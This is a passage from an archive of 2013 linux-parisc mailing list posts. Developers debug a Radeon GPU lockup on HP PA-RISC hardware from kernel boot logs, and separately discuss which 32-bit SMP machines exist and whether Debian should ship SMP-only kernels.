> radeon 0000:e0:02.0: GTT: 512M 0xFFFFFFFFD0000000 - 0xFFFFFFFFEFFFFFF=
=46
> [drm] Detected VRAM RAM=3D64M, BAR=3D64M
> [drm] RAM width 64bits DDR[TTM] Zone  kernel: Available graphics memo=
ry: 4117164 kiB
> [TTM] Zone   dma32: Available graphics memory: 2097152 kiB
> [TTM] Initializing pool allocator
> [drm] radeon: 8M of VRAM memory ready
> [drm] radeon: 512M of GTT memory ready.
> [drm] GART: num cpu pages 131072, num gpu pages 131072
> [drm] PCI GART of 512M enabled (table at 0x00000000424C0000).
> radeon 0000:e0:02.0: WB disabled
> radeon 0000:e0:02.0: fence driver on ring 0 use gpu addr 0xffffffffd0=
000000 and cpu addr 0x000000007df2b000
> [drm] Supports vblank timestamp caching Rev 1 (10.10.2010).
> [drm] Driver supports precise vblank timestamp query.
> [drm] radeon: irq initialized.
> [drm] Loading R100 Microcode
> [drm] radeon: ring at 0xFFFFFFFFD0001000
> [drm] ring test succeeded in 0 usecs
> radeon 0000:e0:02.0: GPU lockup CP stall for more than 10000msec
> radeon 0000:e0:02.0: GPU lockup (waiting for 0x0000000000000001 last =
fence id 0x0000000000000000)
> [drm:r100_ib_test] *ERROR* radeon: fence wait failed (-45).
> [drm:radeon_ib_ring_tests] *ERROR* radeon: failed testing IB on GFX r=
ing (-45).
> [drm:radeon_device_init] *ERROR* ib ring test failed (-45).
> [drm] No TV DAC info found in BIOS
> [drm] Radeon Display Connectors
> [drm] Connector 0:
> [drm]   VGA-1
> [drm]   DDC: 0x60 0x60 0x60 0x60 0x60 0x60 0x60 0x60
> [drm]   Encoders:
> [drm]     CRT1: INTERNAL_DAC1
> [drm] Connector 1:
> [drm]   DVI-I-1
> [drm]   HPD1
> [drm]   DDC: 0x64 0x64 0x64 0x64 0x64 0x64 0x64 0x64
> [drm]   Encoders:
> [drm]     CRT2: INTERNAL_DAC2
> [drm]     DFP1: INTERNAL_TMDS1
> radeon 0000:e0:02.0: No connectors reported connected with modes
> [drm] Cannot find any crtc or sizes - going 1024x768
> [drm] fb mappable at 0xFFFFFFFFF0040000
> [drm] vram apper at 0xFFFFFFFFF0000000
> [drm] size 786432
> [drm] fb depth is 8
> [drm]    pitch is 1024
> Console: switching to colour frame buffer device 128x48
> radeon 0000:e0:02.0: fb0: radeondrmfb frame buffer device
> radeon 0000:e0:02.0: registered panic notifier
> [drm] Initialized radeon 2.34.0 20080528 for 0000:e0:02.0 on minor 0
>=20
> There may be some kind of timing issue.  I would swear that it didn't=
 take 10s for the "GPU
> lockup CP stall" message to occur.

Dave,

Passed ring test makes no sense there, as CP isn't working. If you'll j=
ust disable ring test function, you'll get
absolutely same output (aside of 'ring test succeeded').
I'm feeling these aren't timings but improperly initialized CP.--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc debian kernel - missing  modules for C8000 - linux-image-3.10-2-parisc64-smp
Date: Mon, 2 Sep 2013 10:10:29 -0400
Lines: 101
Approved: news@gmane.org
Message-ID: <BLU0-SMTP6283FFA9572E9BF7725A1E97300@phx.gbl>
References: <521A7589.5000503@gmx.de> <BLU0-SMTP41F72FA4035273DC12703897360@phx.gbl> <BLU0-SMTP99E4F2E24E1A3F5BA18E7A97360@phx.gbl> <108451378018002@web28j.yandex.ru> <BLU0-SMTP1273DDE4A968FD3A43C55D97370@phx.gbl> <3B9F0B38-597D-439E-B57E-0F7E9E11BE9D@p0n4ik.tk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset=KOI8-R;
	format=flowed	delsp=yes
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1378131048 8254 80.91.229.3 (2 Sep 2013 14:10:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Sep 2013 14:10:48 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: gnidorah@p0n4ik.tk
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 02 16:10:50 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VGUq9-0001Jw-2p
	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Sep 2013 16:10:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758564Ab3IBOKs convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Sep 2013 10:10:48 -0400
Original-Received: from blu0-omc4-s28.blu0.hotmail.com ([65.55.111.167]:27508 "EHLO
	blu0-omc4-s28.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1758547Ab3IBOKs convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Sep 2013 10:10:48 -0400
Original-Received: from BLU0-SMTP62 ([65.55.111.135]) by blu0-omc4-s28.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 2 Sep 2013 07:10:47 -0700
X-TMN: [FSkx0NWP3rrZ1q1/iVxnjG5U3n/quuPB]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.84.211]) by BLU0-SMTP62.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 2 Sep 2013 07:10:45 -0700
In-Reply-To: <3B9F0B38-597D-439E-B57E-0F7E9E11BE9D@p0n4ik.tk>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 02 Sep 2013 14:10:46.0168 (UTC) FILETIME=[37DA1980:01CEA7E6]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5291
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5291>

On 2-Sep-13, at 2:43 AM, gnidorah@p0n4ik.tk wrote:

>
> 01.09.2013, =D7 18:48, John David Anglin <dave.anglin@bell.net> =20
> =CE=C1=D0=C9=D3=C1=CC(=C1):
>
>> I had one boot instance where the initial ring test succeeded:
>>
>> [drm] radeon kernel modesetting enabled.radeon 0000:e0:02.0: =20
>> enabling SERR and PARITY (0187 -> 01c7)
>> [drm] initializing kernel modesetting (RV100 0x1002:0x5159 0x103C:=20
>> 0x1292).
>> [drm] register mmio base: 0xF4040000
>> [drm] register mmio size: 65536
>> [drm] GPU not posted. posting now...
>> radeon 0000:e0:02.0: VRAM: 64M 0xFFFFFFFFF0000000 - =20
>> 0xFFFFFFFFF3FFFFFF (8M used)
>> radeon 0000:e0:02.0: GTT: 512M 0xFFFFFFFFD0000000 - =20
>> 0xFFFFFFFFEFFFFFFF
>> [drm] Detected VRAM RAM=3D64M, BAR=3D64M
>> [drm] RAM width 64bits DDR[TTM] Zone  kernel: Available graphics =20
>> memory: 4117164 kiB
>> [TTM] Zone   dma32: Available graphics memory: 2097152 kiB
>> [TTM] Initializing pool allocator
>> [drm] radeon: 8M of VRAM memory ready
>> [drm] radeon: 512M of GTT memory ready.
>> [drm] GART: num cpu pages 131072, num gpu pages 131072
>> [drm] PCI GART of 512M enabled (table at 0x00000000424C0000).
>> radeon 0000:e0:02.0: WB disabled
>> radeon 0000:e0:02.0: fence driver on ring 0 use gpu addr =20
>> 0xffffffffd0000000 and cpu addr 0x000000007df2b000
>> [drm] Supports vblank timestamp caching Rev 1 (10.10.2010).
>> [drm] Driver supports precise vblank timestamp query.
>> [drm] radeon: irq initialized.
>> [drm] Loading R100 Microcode
>> [drm] radeon: ring at 0xFFFFFFFFD0001000
>> [drm] ring test succeeded in 0 usecs
>> radeon 0000:e0:02.0: GPU lockup CP stall for more than 10000msec
>> radeon 0000:e0:02.0: GPU lockup (waiting for 0x0000000000000001 =20
>> last fence id 0x0000000000000000)
>> [drm:r100_ib_test] *ERROR* radeon: fence wait failed (-45).
>> [drm:radeon_ib_ring_tests] *ERROR* radeon: failed testing IB on GFX =
=20
>> ring (-45).
>> [drm:radeon_device_init] *ERROR* ib ring test failed (-45).
>> [drm] No TV DAC info found in BIOS
>> [drm] Radeon Display Connectors
>> [drm] Connector 0:
>> [drm]   VGA-1
>> [drm]   DDC: 0x60 0x60 0x60 0x60 0x60 0x60 0x60 0x60
>> [drm]   Encoders:
>> [drm]     CRT1: INTERNAL_DAC1
>> [drm] Connector 1:
>> [drm]   DVI-I-1
>> [drm]   HPD1
>> [drm]   DDC: 0x64 0x64 0x64 0x64 0x64 0x64 0x64 0x64
>> [drm]   Encoders:
>> [drm]     CRT2: INTERNAL_DAC2
>> [drm]     DFP1: INTERNAL_TMDS1
>> radeon 0000:e0:02.0: No connectors reported connected with modes
>> [drm] Cannot find any crtc or sizes - going 1024x768
>> [drm] fb mappable at 0xFFFFFFFFF0040000
>> [drm] vram apper at 0xFFFFFFFFF0000000
>> [drm] size 786432
>> [drm] fb depth is 8
>> [drm]    pitch is 1024
>> Console: switching to colour frame buffer device 128x48
>> radeon 0000:e0:02.0: fb0: radeondrmfb frame buffer device
>> radeon 0000:e0:02.0: registered panic notifier
>> [drm] Initialized radeon 2.34.0 20080528 for 0000:e0:02.0 on minor 0
>>
>> There may be some kind of timing issue.  I would swear that it =20
>> didn't take 10s for the "GPU
>> lockup CP stall" message to occur.
>
> Dave,
>
> Passed ring test makes no sense there, as CP isn't working. If =20
> you'll just disable ring test function, you'll get
> absolutely same output (aside of 'ring test succeeded').
> I'm feeling these aren't timings but improperly initialized CP.--

You don't think it ran briefly and crashed?

I have a thought.  The code that loads the microcode appears to be =20
trying to load in 32-bit hunks.  Maybe
we have a 64-bit path on the bus and we need to load the firmware in =20
64-bit words.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:09:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavokz@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Does there exists any 32bit-only PARISC SMP machines?
Date: Tue, 3 Sep 2013 17:56:44 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <20130903155643.GA1430@glitch>
References: <521F9848.4010404@gmx.de>
 <1377830541.2331.5.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1378223813 17014 80.91.229.3 (3 Sep 2013 15:56:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Sep 2013 15:56:53 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 03 17:56:53 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VGsyI-0002Hf-MQ
	for glpp-linux-parisc@plane.gmane.org; Tue, 03 Sep 2013 17:56:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756859Ab3ICP4t (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Sep 2013 11:56:49 -0400
Original-Received: from mail-ee0-f45.google.com ([74.125.83.45]:57880 "EHLO
	mail-ee0-f45.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756498Ab3ICP4t (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Sep 2013 11:56:49 -0400
Original-Received: by mail-ee0-f45.google.com with SMTP id c50so3102949eek.32
        for <linux-parisc@vger.kernel.org>; Tue, 03 Sep 2013 08:56:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:date:from:to:cc:subject:message-id:mail-followup-to
         :references:mime-version:content-type:content-disposition
         :in-reply-to;
        bh=9ZxUroS+yh81r7ggoNK2MGDXPhfoID0RcZAU4mtLH20=;
        b=Otc+O+ALFKvRIerljs7YFmWJWBYuSeTv74QDe2X8gV1W10lTF8vp5wiyO1MkvOgZ9x
         p/81e9z7oY3hcWX5vLY8q30nsJ2H+gnuVKzfaLEZFqiSuK+wBcsyoBFOBEOpv3CRDYCD
         xeC1TewIxAjyfzKEOLvo7NRdaSAgLElLOUGcTP1VXRHO2d2E03QtslJRM+BAUz7wCkdL
         pK0GKdgpmYU/6F2RU1oAFIC0cmPkQ0k9lW5A4PN43ADZL80nTt/M+8ZOrSUJVTO+e//d
         6yd3WKRBh5VefYMiTC1+DZLPEzrrqwSguJ8MrcJrCzWjobxlF/gFHOzDmYrQFSZ6TaBR
         IjXQ==
X-Received: by 10.15.64.1 with SMTP id n1mr47990989eex.15.1378223808219;
        Tue, 03 Sep 2013 08:56:48 -0700 (PDT)
Original-Received: from glitch (j115181.upc-j.chello.nl. [24.132.115.181])
        by mx.google.com with ESMTPSA id x47sm32521959eea.16.1969.12.31.16.00.00
        (version=TLSv1.2 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Tue, 03 Sep 2013 08:56:46 -0700 (PDT)
Original-Received: by glitch (Postfix, from userid 1000)
	id 1DA303C006B; Tue,  3 Sep 2013 17:56:44 +0200 (CEST)
Mail-Followup-To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
Content-Disposition: inline
In-Reply-To: <1377830541.2331.5.camel@dabdike>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5293
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5293>

On Fri, Aug 30, 2013 at 06:42:21AM +0400, James Bottomley wrote:
> On Thu, 2013-08-29 at 20:51 +0200, Helge Deller wrote:
> > Hi all,
> > 
> > I was asked by the debian kernel team to drop on parisc the UP kernels
> > and only provide SMP kernels even for UP-machines.
> 
> > For 64bit it might make sense to only ship a 64bit SMP kernel, but I'm
> > not sure if it makes sense for 32bit kernels.
> > One major question would be, if there exists any 32bit parisc machines
> > which support multiple CPUs at all?
> > If not, then it would make sense to drop the 32bit SMP kernels
> > instead.  
> > 
> > So, are there any 32bit SMP machines out there?
> 
> Yes, the J class systems have some 32 bit only SMP boxes (well one, the
> J210XC, I think) ... mostly with 7200 and above processors.

J5600 is SMP capable in both 32bit and 64bit mode.

> 
> > Any other thoughts on this topic?
> 
> SMP will certainly work.  The main problem with SMP on UP is the
> unnecessary spinlock cost.  I think given there's very few owners of J
> class SMP 32 bit systems, 32 bit UP and 64 bit SMP is OK.

mine doesn't boot 64bit SMP since 2.6.22. I've never been able to trace
it down but can confirm it happens also on more recent kernels.

at the moment, if I want SMP I need 32 bit.

Domenico
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Aw: Re: Does there exists any 32bit-only PARISC SMP machines?
Date: Wed, 4 Sep 2013 10:13:09 +0200 (CEST)
Lines: 17
Approved: news@gmane.org
Message-ID: <trinity-b7a0d82a-16b9-4204-be6e-2873db548248-1378282389073@3capp-gmx-bs28>
References: <521F9848.4010404@gmx.de> <1377830541.2331.5.camel@dabdike>,
 <20130903155643.GA1430@glitch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1378282427 22078 80.91.229.3 (4 Sep 2013 08:13:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 4 Sep 2013 08:13:47 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: "Domenico Andreoli" <cavokz@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 04 10:13:48 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VH8Dk-0003Cq-F0
	for glpp-linux-parisc@plane.gmane.org; Wed, 04 Sep 2013 10:13:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934321Ab3IDINl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 4 Sep 2013 04:13:41 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:50148 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S934404Ab3IDINL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 4 Sep 2013 04:13:11 -0400
Original-Received: from 3capp-gmx-bs28.server.lan ([172.19.170.80]) by
 mrigmx.server.lan (mrigmx001) with ESMTP (Nemesis) id
 0Lm9fT-1VqStY0xyD-00ZejD for <linux-parisc@vger.kernel.org>; Wed, 04 Sep 2013
 10:13:09 +0200
Original-Received: from [155.56.68.215] by 3capp-gmx-bs28.server.lan with HTTP; Wed
 Sep 04 10:13:09 CEST 2013
Importance: normal
Sensitivity: Normal
In-Reply-To: <20130903155643.GA1430@glitch>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K0:235WUqAHGawACOEY5PQsP3A3w/iqSkCgvwJT06cyZWp
 Mw6urXgP9ajfGksRjYqTQXW6Zc7dslqOMn0BH5yjQLlo3VDP+k
 4lcEbGZJYpdHr50rKqYM7eIKAV4Fed7PQgeiXe8mf+hpXvg+OA
 hitL2xJikkYFdNPayrXYCE+8RKUFV1y9RjAVn6TYZgqGKLWFBL
 Q5+yPZCwUcibk9vu7mHB4VVUuDSG6W0KD/g9qhJrEIrp04UOCg
 O8FfoqczkkNpd1XKtajCTCsRhnIDQdqQz0Zadc8n8Ze3LTghxM +nXqtY=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5294
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5294>

Hi Domenico,

> J5600 is SMP capable in both 32bit and 64bit mode.
> mine doesn't boot 64bit SMP since 2.6.22. I've never been able to trace
> it down but can confirm it happens also on more recent kernels.

Could you please try a 64bit-SMP (stable series) 3.10 or 3.11 kernel?
I'm pretty sure your machine should now boot and work with a 64bit SMP kernel.
If not, please send your bootlog so that we can try to analyze.

Thanks,
Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Does there exists any 32bit-only PARISC SMP machines?
Date: Wed, 4 Sep 2013 10:44:38 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <20130904084438.GB4498@alpha.franken.de>
References: <521F9848.4010404@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1378291637 28987 80.91.229.3 (4 Sep 2013 10:47:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 4 Sep 2013 10:47:17 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 04 12:47:20 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VHAcE-00010q-08
	for glpp-linux-parisc@plane.gmane.org; Wed, 04 Sep 2013 12:47:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760184Ab3IDKrN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 4 Sep 2013 06:47:13 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:49756 "EHLO elvis.franken.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756260Ab3IDKrM (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 4 Sep 2013 06:47:12 -0400
X-Greylist: delayed 3275 seconds by postgrey-1.27 at vger.kernel.org; Wed, 04 Sep 2013 06:47:12 EDT
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1VH9lM-0004HZ-01; Wed, 04 Sep 2013 11:52:36 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id 3042D5B90C4; Wed,  4 Sep 2013 10:44:38 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <521F9848.4010404@gmx.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5295
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5295>

On Thu, Aug 29, 2013 at 08:51:52PM +0200, Helge Deller wrote:
> So, are there any 32bit SMP machines out there?

Workstations:

J200, J210, J210XC

Server:

D250, D260, D270, D280, D350, D360
G70, H70, U70
K200, K210, K220

and some obscure beasts like T500, T520.

http://www.openpa.net/systems/index.html

has a good list.

I own an J200 with 2 CPUs. Never booted linux on it so far.

> Any other thoughts on this topic?

I'd skip supplying a 32bit SMP kernel package until there is a real demand
for it.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessarily a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavokz@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Re: Does there exists any 32bit-only PARISC SMP machines?
Date: Wed, 4 Sep 2013 16:07:05 +0200
Lines: 2243
Approved: news@gmane.org
Message-ID: <20130904140705.GA30223@glitch>
References: <521F9848.4010404@gmx.de>
 <1377830541.2331.5.camel@dabdike>
 <20130903155643.GA1430@glitch>
 <trinity-b7a0d82a-16b9-4204-be6e-2873db548248-1378282389073@3capp-gmx-bs28>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1378303652 10074 80.91.229.3 (4 Sep 2013 14:07:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 4 Sep 2013 14:07:32 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 04 16:07:35 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VHDk5-0003oM-Fa
	for glpp-linux-parisc@plane.gmane.org; Wed, 04 Sep 2013 16:07:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934858Ab3IDOHR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 4 Sep 2013 10:07:17 -0400
Original-Received: from mail-ea0-f181.google.com ([209.85.215.181]:64699 "EHLO
	mail-ea0-f181.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S934717Ab3IDOHK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 4 Sep 2013 10:07:10 -0400
Original-Received: by mail-ea0-f181.google.com with SMTP id d10so211538eaj.12
        for <linux-parisc@vger.kernel.org>; Wed, 04 Sep 2013 07:07:08 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:date:from:to:cc:subject:message-id:mail-followup-to
         :references:mime-version:content-type:content-disposition
         :in-reply-to;
        bh=l9Kt+/1jDJ8jwQr/+BJQbkQjfNxS9gI9YmRrJg8cZPM=;
        b=x/xEJZyUpUkUwfxbc1hJO71D7PDV4X0dnRWmodfGe/v78kcrVyZP7Cqw51JxpWIJw9
         wo7jzduLAiOiruzNY5tbgJX7BAxltd3mmLqh1ShR0WzM2i25I47gjikl+m9JjSQXhjOe
         SeAZuFehVIxyCYQL/9McqzS2Kw9YEdLJupA5YnGuRvzqzyNoPTUT3OjHU/WkBRMuBSWa
         0tMSoMt8WPj3XZxRU3U1X3guSZ/W6pIrYW8e/2q7Sfh3+vnzB43Q1K5IhBocfpz1WxgG
         j9aQMktAKtNmWl0VaulCGHasKy/XgkPyJ0zON9ICNY9VHneN2FE5neS2aJnTKFWfm0ss
         7gag==
X-Received: by 10.15.94.201 with SMTP id bb49mr5132570eeb.23.1378303628686;
        Wed, 04 Sep 2013 07:07:08 -0700 (PDT)
Original-Received: from glitch (j115181.upc-j.chello.nl. [24.132.115.181])
        by mx.google.com with ESMTPSA id z12sm40320264eev.6.1969.12.31.16.00.00
        (version=TLSv1.2 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Wed, 04 Sep 2013 07:07:07 -0700 (PDT)
Original-Received: by glitch (Postfix, from userid 1000)
	id 630033C0552; Wed,  4 Sep 2013 16:07:05 +0200 (CEST)
Mail-Followup-To: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
Content-Disposition: inline
In-Reply-To: <trinity-b7a0d82a-16b9-4204-be6e-2873db548248-1378282389073@3capp-gmx-bs28>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5296
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5296>

On Wed, Sep 04, 2013 at 10:13:09AM +0200, Helge Deller wrote:
> Hi Domenico,

Helge,

> > J5600 is SMP capable in both 32bit and 64bit mode.
> > mine doesn't boot 64bit SMP since 2.6.22. I've never been able to trace
> > it down but can confirm it happens also on more recent kernels.
> 
> Could you please try a 64bit-SMP (stable series) 3.10 or 3.11 kernel?
> I'm pretty sure your machine should now boot and work with a 64bit SMP kernel.
> If not, please send your bootlog so that we can try to analyze.

yes, indeed. I realized aftewards I could have been more informative
here. thanks for supporting :)

I confirm that smp parisc64 v3.11 doesn't bring up both the cpus on my
system but at least it boots one, something that didn't happen in some
darker moments since 2.6.22.

similar "SMP: CPU:1 is stuck." happens also with debian v3.10-parisc64-smp kernel.

here is the full boot log:


Firmware Version 5.0                                                                                                              

Duplex Console IO Dependent Code (IODC) revision 1                                                                                

------------------------------------------------------------------------------                                                    
   (c) Copyright 1995-2000, Hewlett-Packard Company, All rights reserved                                                          
------------------------------------------------------------------------------                                                    

  Processor   Speed            State           Coprocessor State  I/D Cache                                                       
  ---------  --------   ---------------------  -----------------  -------------                                                   
      0      552 MHz    Active                 Functional         512 kB/1 MB                                                     
      1      552 MHz    Idle                   Functional         512 kB/1 MB                                                     

  Central Bus Speed:                   120 MHz                                                                                    

  Available memory:             4294967296 bytes                                                                                  
  Good memory required:           31256576 bytes                                                                                  

  Primary boot path:    FWSCSI.3.0                                                                                                
  Alternate boot path:  FWSCSI.4.0                                                                                                
